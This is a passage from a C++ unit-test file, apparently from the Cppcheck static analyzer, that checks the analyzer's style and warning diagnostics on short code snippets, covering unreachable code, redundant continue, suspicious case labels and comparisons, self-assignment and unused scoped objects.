[constParameter]\\n\",\n errout_str());\n\n check(\"int f(int i) {\\n\" // #13491\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" {\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int a[1];\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" a[0] = 5;\\n\"\n \" return a[0] + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" dostuff();\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", \"\", errout_str());\n\n check(\"int f() {\\n\" // #13472\n \" int var;\\n\"\n \" auto int ret();\\n\"\n \" int ret() {\\n\"\n \" return var;\\n\"\n \" }\\n\"\n \" var = 42;\\n\"\n \" return ret();\\n\"\n \"}\\n\", /*cpp*/ false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #13516\n \" io_uring_for_each_cqe(&ring, head, cqe) {\\n\"\n \" if (cqe->res == -EOPNOTSUPP)\\n\"\n \" printf(\\\"error\\\");\\n\"\n \" goto ok;\\n\"\n \" }\\n\"\n \" usleep(10000);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantContinue() {\n check(\"void f() {\\n\" // #11195\n \" for (int i = 0; i < 10; ++i) {\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\"\n \" do {\\n\"\n \" ++i;\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" } while (i < 10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x, int y) {\\n\" // #13544\n \" switch (x) {\\n\"\n \" case 1: {\\n\"\n \" return y != 0;\\n\"\n \" int z = y + 5;\\n\"\n \" return z != 7;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n }\n\n\n void suspiciousCase() {\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B:\\n\"\n \" foo();\\n\"\n \" case (A||B):\\n\"\n \" foo();\\n\"\n \" case A||B:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '&&' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:5:16]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:7:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case 1:\\n\"\n \" a=A&&B;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B?B:A:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\"), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousEqualityComparison() {\n check(\"void foo(int c) {\\n\"\n \" if (x) c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(const int* c) {\\n\"\n \" if (x) *c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n\n check(\"void foo(int c) {\\n\"\n \" if (c == 1) {\\n\"\n \" c = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" c == 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i == 10; i ++) {\\n\"\n \" a ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 0; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 1; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 2; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i < 10; i == c) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (; running == 1;) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" printf(\\\"%i\\\", ({x==0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int arg) {\\n\"\n \" printf(\\\"%i\\\", ({int x = do_something(); x == 0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" printf(\\\"%i\\\", ({x == 0; x > 0 ? 10 : 20}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (const Token* end = tok->link(); tok != end; tok = (tok == end) ? end : tok->next()) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = (x == 0) ? 0 : 5; i < 10; i ++) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = 0; i < 10; i += (x == 5) ? 1 : 2) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousUnaryPlusMinus() { // #8004\n check(\"int g() { return 1; }\\n\"\n \"void f() {\\n\"\n \" +g();\\n\"\n \" -g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\"\n \" +i;\\n\"\n \" -i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n }\n\n void suspiciousFloatingPointCast() {\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + (float)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + static_cast(b) + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:34]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"long double f(long double a, long double b, float c) {\\n\"\n \" return a + (double)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"void g(int, double);\\n\"\n \"void h(double);\\n\"\n \"void f(double d) {\\n\"\n \" g(1, (float)d);\\n\"\n \" h((float)d);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\"\n \"[test.cpp:5:7]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\",\n errout_str());\n }\n\n void selfAssignment() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"struct A { int b; };\\n\"\n \"void foo(A* a1, A* a2) {\\n\"\n \" a1->b = a1->b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'a1->b' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"int x;\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" x = x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4073 (segmentation fault)\n check(\"void Foo::myFunc( int a )\\n\"\n \"{\\n\"\n \" if (a == 42)\\n\"\n \" a = a;\\n\"\n \"}\");\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int *x = getx();\\n\"\n \" *x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" BAR *x = getx();\\n\"\n \" x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #2502 - non-primitive type -> there might be some side effects\n check(\"void foo()\\n\"\n \"{\\n\"\n \" Fred fred; fred = fred;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x == 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x != 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #3001 - false positive\n check(\"void foo(int x) {\\n\"\n \" x = x ? x : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3800 - false negative when variable is extern\n check(\"extern int i;\\n\"\n \"void f() {\\n\"\n \" i = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'i' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4291 - id for variables accessed through 'this'\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"void Foo::func() {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Redundant assignment of 'this->var' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func(int var);\\n\"\n \"};\\n\"\n \"void Foo::func(int var) {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6406 - designated initializer doing bogus self assignment\n check(\"struct callbacks {\\n\"\n \" void (*s)(void);\\n\"\n \"};\\n\"\n \"void something(void) {}\\n\"\n \"void f() {\\n\"\n \" struct callbacks ops = { .s = ops.s };\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (style) Redundant assignment of 'something' to itself.\\n\", \"\", errout_str());\n\n check(\"class V\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" V()\\n\"\n \" {\\n\"\n \" x = y = z = 0.0;\\n\"\n \" }\\n\"\n \" V( double x, const double y_, const double &z_)\\n\"\n \" {\\n\"\n \" x = x; y = y; z = z;\\n\"\n \" }\\n\"\n \" double x, y, z;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:18]: (style) Redundant assignment of 'y' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:25]: (style) Redundant assignment of 'z' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void f(int i) { i = !!i; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int x = 1;\\n\"\n \" int &ref = x;\\n\"\n \" ref = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Redundant assignment of 'ref' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\" // #9850\n \" int i{};\\n\"\n \" void modify();\\n\"\n \" void method() {\\n\"\n \" Foo copy = *this;\\n\"\n \" modify();\\n\"\n \" *this = copy;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11383\n \" void f() {\\n\"\n \" int x = 42;\"\n \" auto l2 = [i = i, x, y = 0]() { return i + x + y; };\\n\"\n \" }\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10337\n \" int b[2] = { 1, 2 };\\n\"\n \" int idx = 0;\\n\"\n \" int& i = b[idx];\\n\"\n \" idx++;\\n\"\n \" i = b[idx];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\" // #12390\n \"void f() {\\n\"\n \" int o = s.i;\\n\"\n \" g(&s.i);\\n\"\n \" s.i = o;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac1132() {\n check(\"class Lock\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Lock(int i)\\n\"\n \" {\\n\"\n \" std::cout << \\\"Lock \\\" << i << std::endl;\\n\"\n \" }\\n\"\n \" ~Lock()\\n\"\n \" {\\n\"\n \" std::cout << \\\"~Lock\\\" << std::endl;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" Lock(123);\\n\"\n \" std::cout << \\\"hello\\\" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:15:5]: (style) Instance of 'Lock' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac3693() {\n check(\"struct A{\\n\"\n \" enum {\\n\"\n \" b = 300\\n\"\n \" };\\n\"\n \"};\\n\"\n \"const int DFLT_TIMEOUT = A::b % 1000000 ;\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction1() {\n check(\"int main ( )\\n\"\n \"{\\n\"\n \" CouldBeFunction ( 123 ) ;\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction2() {\n check(\"struct error {\\n\"\n \" error() {}\\n\"\n \"};\\n\"\n \"\\n\"\n \"class parser {\\n\"\n \"public:\\n\"\n \" void error() const {}\\n\"\n \"\\n\"\n \" void foo() const {\\n\"\n \" error();\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectPicksClass() {\n check(\"class NotAFunction ;\\n\"\n \"int function ( )\\n\"\n \"{\\n\"\n \" NotAFunction ( 123 );\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAFunction' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectPicksStruct() {\n check(\"struct NotAClass;\\n\"\n \"bool func ( )\\n\"\n \"{\\n\"\n \" NotAClass ( 123 ) ;\\n\"\n \" return true ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAClass' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickIf() {\n check(\"bool func( int a , int b , int c )\\n\"\n \"{\\n\"\n \" if ( a > b ) return c == a ;\\n\"\n \" return b == a ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickConstructorDeclaration() {\n check(\"class Something : public SomethingElse\\n\"\n \"{\\n\"\n \"public:\\n\"\n \"~Something ( ) ;\\n\"\n \"Something ( ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunctor() {\n check(\"class IncrementFunctor\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void operator()(int &i)\\n\"\n \" {\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int a = 1;\\n\"\n \" IncrementFunctor()(a);\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickLocalClassConstructors() {\n check(\"void f() {\\n\"\n \" class Foo {\\n\"\n \" Foo() { }\\n\"\n \" Foo(int a) { }\\n\"\n \" Foo(int a, int b) { }\\n\"\n \" };\\n\"\n \" Foo();\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickUsedObject() {\n check(\"struct Foo {\\n\"\n \" void bar() {\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"void fn() {\\n\"\n \" Foo().bar();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickPureC() {\n // Ticket #2352\n const char code[] = \"struct cb_watch_bool {\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" cb_watch_bool();\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'cb_watch_bool' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(code, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2639\n check(\"struct stat { int a; int b; };\\n\"\n \"void stat(const char *fn, struct stat *);\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" stat(\\\"file.txt\\\", &st);\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"struct AMethodObject {\\n\" // #4336\n \" AMethodObject(double, double, double);\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" static void A(double, double, double);\\n\"\n \"};\\n\"\n \"void S::A(double const a1, double const a2, double const a3) {\\n\"\n \" AMethodObject(a1, a2, a3);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\",errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickNestedClass() {\n const char code[] = \"class ios_base {\\n\"\n \"public:\\n\"\n \" class Init {\\n\"\n \" public:\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class foo {\\n\"\n \"public:\\n\"\n \" foo();\\n\"\n \" void Init(int);\\n\"\n \"};\\n\"\n \"foo::foo() {\\n\"\n \" Init(0);\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectInConstructor() {\n const char code[] = \"class Foo {\\n\"\n \"public:\\n\"\n \" Foo(char x) {\\n\"\n \" Foo(x, 0);\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \" Foo(char x, int y) { }\\n\"\n \"};\\n\";\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectStandardType() {\n check(\"int g();\\n\"\n \"void f(int i) {\\n\"\n \" int();\\n\"\n \" int(0);\\n\"\n \" int( g() );\\n\" // don't warn\n \" int{};\\n\"\n \" int{ 0 };\\n\"\n \" int{ i };\\n\"\n \" int{ g() };\\n\" // don't warn\n \" g();\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:7:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:8:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"void f(int j) {\\n\"\n \" for (; bool(j); ) {}\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g() {\\n\"\n \" float (f);\\n\"\n \" float (*p);\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" void();\\n\"\n \" return i;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectNamespace() {\n check(\"namespace M {\\n\" // #4779\n \" namespace N {\\n\"\n \" struct S {};\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int f() {\\n\"\n \" M::N::S();\\n\"\n \" return 0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:7:11]: (style) Instance of 'M::N::S' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #10057\n \" std::string(\\\"abc\\\");\\n\"\n \" std::string{ \\\"abc\\\" };\\n\"\n \" std::pair(1, 2);\\n\"\n \" (void)0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:3:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:10]: (style) Instance of 'std::pair' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #10083\n \" void f() {\\n\"\n \" std::lock_guard(m);\\n\"\n \" }\\n\"\n \" void g() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" std::mutex m;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Instance of 'std::lock_guard' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:9:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"namespace {\\n\"\n \" S s() { return ::S{42}; }\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectAssignment() { // #11371\n check(\"struct S;\\n\"\n \"S f();\\n\"\n \"S& g();\\n\"\n \"S&& h();\\n\"\n \"S* i();\\n\"\n \"void t0() { f() = {}; }\\n\"\n \"void t1() { g() = {}; }\\n\"\n \"void t2() { h() = {}; }\\n\"\n \"void t3() { *i() = {}; }\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:6:19]: (style) Instance of 'S' object is destroyed immediately, assignment has no effect. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac2084() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" struct sigaction sa;\\n\"\n \"\\n\"\n \" { sigaction(SIGHUP, &sa, 0); };\\n\"\n \" { sigaction(SIGINT, &sa, 0); };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac2071() {\n check(\"void f() {\\n\"\n \" struct AB {\\n\"\n \" AB(int a) { }\\n\"\n \" };\\n\"\n \"\\n\"\n \" const AB ab[3] = { AB(0), AB(1), AB(2) };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCalculation() {\n check(\"int f(char c) {\\n\"\n \" return 10 * (c == 0) ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", 10 * (c == 0) ? 1 : 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return (2*a)?b:c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", a + b ? 1 : 2);\\n\"\n \"}\",true,false,false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Clarify calculation precedence for '+' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << x << y ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (style) Clarify calculation precedence for '<<' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a - b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '-' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a | b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '|' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n // ticket #195\n check(\"int f(int x, int y) {\\n\"\n \" return x >> ! y ? 8 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Clarify calculation precedence for '>>' and '?'. 